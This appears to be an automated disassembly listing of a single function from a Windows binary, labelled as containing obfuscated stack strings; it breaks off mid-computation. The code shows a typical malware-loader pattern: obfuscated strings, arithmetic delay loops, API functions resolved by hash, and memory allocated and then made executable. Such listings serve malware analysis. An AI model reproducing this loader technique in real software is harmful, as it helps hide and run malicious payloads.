Function at 0x1800aa0b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
sub rsp, 0x6f0
lea rbp, [rsp + 0x80]
lea rax, resource.0
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x654], 0x1028
mov dword [rbp + 0x650], 0x97ac6
mov dword [rbp + 0x64c], 0x3d349
mov dword [rbp + 0x648], 0x1fbc5b
mov dword [rbp + 0x644], 0x11432b
mov dword [rbp + 0x640], 0x3ff8c3f
mov dword [rbp + 0x63c], 0
mov qword [rbp + 0x630], 0
mov qword [rbp + 0x610], 0
mov qword [rbp + 0x608], 0
mov qword [rbp + 0x600], 0
mov byte [rbp + 0x5e0], 0x57
mov byte [rbp + 0x5e1], 0x78
mov byte [rbp + 0x5e2], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x5e3], 0x64
mov byte [rbp + 0x5e4], 0x78
mov byte [rbp + 0x5e5], 0x54
mov byte [rbp + 0x5e6], 0x59
mov byte [rbp + 0x5e7], 0x44
mov byte [rbp + 0x5e8], 0x2a
mov byte [rbp + 0x5e9], 0x7a
mov byte [rbp + 0x5ea], 0x52
mov byte [rbp + 0x5eb], 0x3c
mov byte [rbp + 0x5ec], 0x64
mov byte [rbp + 0x5ed], 0x44
mov byte [rbp + 0x5ee], 0x44
mov byte [rbp + 0x5ef], 0x7a
mov byte [rbp + 0x5f0], 0x5a
mov byte [rbp + 0x5f1], 0x49
mov byte [rbp + 0x5f2], 0x4f
mov byte [rbp + 0x5f3], 0x56
mov byte [rbp + 0x5f4], 0
mov qword [rbp + 0x628], 0
mov qword [rbp + 0x620], 0
mov eax, dword [rbp + 0x650]
neg eax
sub eax, dword [rbp + 0x650]
add eax, 0x6d948
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
mov dword [rbp + 0x61c], eax
mov eax, dword [rbp + 0x650]
neg eax
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x650]
mov dword [rbp + 0x66c], eax
add byte [rax], al
jmp 0x1800aa317
mov dword [rbp + 0x668], reloc.WS2_32.dll_recvfrom
jmp 0x1800aa304
mov eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x648]
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x650]
add eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x650]
add eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x650]
add eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x650]
add eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x650]
add eax, edx
movsxd rdx, eax
mov eax, dword [rbp + 0x668]
mov qword [rbp + rax*8 - 0x50], rdx
add dword [rbp + 0x668], 1
cmp dword [rbp + 0x668], 0xc1
jbe 0x1800aa293
add dword [rbp + 0x66c], 1
mov eax, dword [rbp + 0x66c]
cmp eax, dword [rbp + 0x61c]
jb 0x1800aa287
mov rdx, qword [rbp + 0x380]
mov eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x648]
sub eax, dword [rbp + 0x648]
mov ecx, eax
mov eax, dword [rbp + 0x650]
add eax, ecx
sub eax, dword [rbp + 0x648]
mov ecx, eax
mov eax, dword [rbp + 0x650]
add eax, ecx
sub eax, dword [rbp + 0x648]
mov ecx, eax
mov eax, dword [rbp + 0x650]
add eax, ecx
sub eax, dword [rbp + 0x648]
mov ecx, eax
mov eax, dword [rbp + 0x650]
add eax, ecx
sub eax, dword [rbp + 0x648]
mov ecx, eax
mov eax, dword [rbp + 0x650]
add eax, ecx
cdqe
cmp rdx, rax
jne 0x1800aa468
call fcn.1800aac00
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov edx, 0x6d92a5e2
mov rcx, rax
call fcn.1800aaaed
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x630]
mov edx, 0x3803e5e2
mov rcx, rax
call fcn.1800aaaed
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x654], 0
mov dword [rbp + 0x650], 0
mov dword [rbp + 0x64c], 0
mov dword [rbp + 0x648], 0
mov dword [rbp + 0x644], 0
mov dword [rbp + 0x640], 0
mov qword [rbp + 0x608], 0x2ca12
lea rcx, [rbp + 0x608]
lea rdx, [rbp + 0x610]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov rax, qword [rbp + 0x628]
mov r9, rcx
mov r8d, 0
mov rcx, 0xffffffffffffffff
call rax
mov dword [rbp + 0x63c], eax
cmp dword [rbp + 0x63c], 0
jns 0x1800aa498
jmp 0x1800aa46d
jmp 0x1800aaa82
mov r9d, 0
mov r8d, 0
lea rdx, [0x1800d80b0]
mov ecx, 0
mov rax, qword [0x1800db0e8]
call rax
mov eax, 0
jmp 0x1800aaaa3
lea rcx, [rbp + 0x608]
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x600]
mov qword [rsp + 0x20], rax
and al, 0x20
mov rax, qword [rbp + 0x620]
mov r9d, 0x40
mov r8, rcx
mov rcx, 0xffffffffffffffff
call rax
mov dword [rbp + 0x63c], eax
cmp dword [rbp + 0x63c], 0
jns 0x1800aa505
mov r9d, 0
mov r8d, 0
lea rdx, [0x1800d80c8]
mov ecx, 0
mov rax, qword [0x1800db0e8]
call rax
mov eax, 0
jmp 0x1800aaaa3
mov eax, dword [rbp + 0x644]
neg eax
sub eax, dword [rbp + 0x650]
mov edx, eax
mov eax, dword [rbp + 0x650]
imul eax, dword [rbp + 0x64c]
sub edx, eax
mov eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x644]
imul eax, dword [rbp + 0x648]
sub edx, eax
mov eax, dword [rbp + 0x640]
imul eax, dword [rbp + 0x648]
add eax, edx
sub eax, dword [rbp + 0x644]
sub eax, dword [rbp + 0x650]
mov edx, eax
mov eax, dword [rbp + 0x650]
imul eax, dword [rbp + 0x64c]
sub edx, eax
mov eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x644]
imul eax, dword [rbp + 0x648]
sub edx, eax
mov eax, dword [rbp + 0x640]
imul eax, dword [rbp + 0x648]
add eax, edx
sub eax, dword [rbp + 0x644]
sub eax, dword [rbp + 0x650]
mov edx, eax
mov eax, dword [rbp + 0x650]
imul eax, dword [rbp + 0x64c]
sub edx, eax
mov eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x644]
imul eax, dword [rbp + 0x648]
sub edx, eax
mov eax, dword [rbp + 0x640]
imul eax, dword [rbp + 0x648]
add eax, edx
sub eax, dword [rbp + 0x644]
sub eax, dword [rbp + 0x650]
mov edx, eax
mov eax, dword [rbp + 0x650]
imul eax, dword [rbp + 0x64c]
sub edx, eax
mov eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x644]
imul eax, dword [rbp + 0x648]
sub edx, eax
mov eax, dword [rbp + 0x640]
imul eax, dword [rbp + 0x648]
add eax, edx
sub eax, dword [rbp + 0x644]
sub eax, dword [rbp + 0x650]
mov edx, eax
mov eax, dword [rbp + 0x650]
imul eax, dword [rbp + 0x64c]
sub edx, eax
mov eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x644]
imul eax, dword [rbp + 0x648]
sub edx, eax
mov eax, dword [rbp + 0x640]
imul eax, dword [rbp + 0x648]
add eax, edx
sub eax, dword [rbp + 0x644]
sub eax, dword [rbp + 0x650]
mov edx, eax
mov eax, dword [rbp + 0x650]
imul eax, dword [rbp + 0x64c]
sub edx, eax
mov eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x644]
imul eax, dword [rbp + 0x648]
sub edx, eax
mov eax, dword [rbp + 0x640]
imul eax, dword [rbp + 0x648]
add eax, edx
sub eax, dword [rbp + 0x644]
sub eax, dword [rbp + 0x650]
mov edx, eax
mov eax, dword [rbp + 0x650]
imul eax, dword [rbp + 0x64c]
sub edx, eax
mov eax, edx
sub eax, dword [rbp + 0x648]
mov edx, eax
mov eax, dword [rbp + 0x644]
imul eax, dword [rbp + 0x648]
sub edx, eax
mov eax, dword [rbp + 0x640]
imul eax, dword [rbp + 0x648]
add eax, edx
sub eax, dword [rbp + 0x644]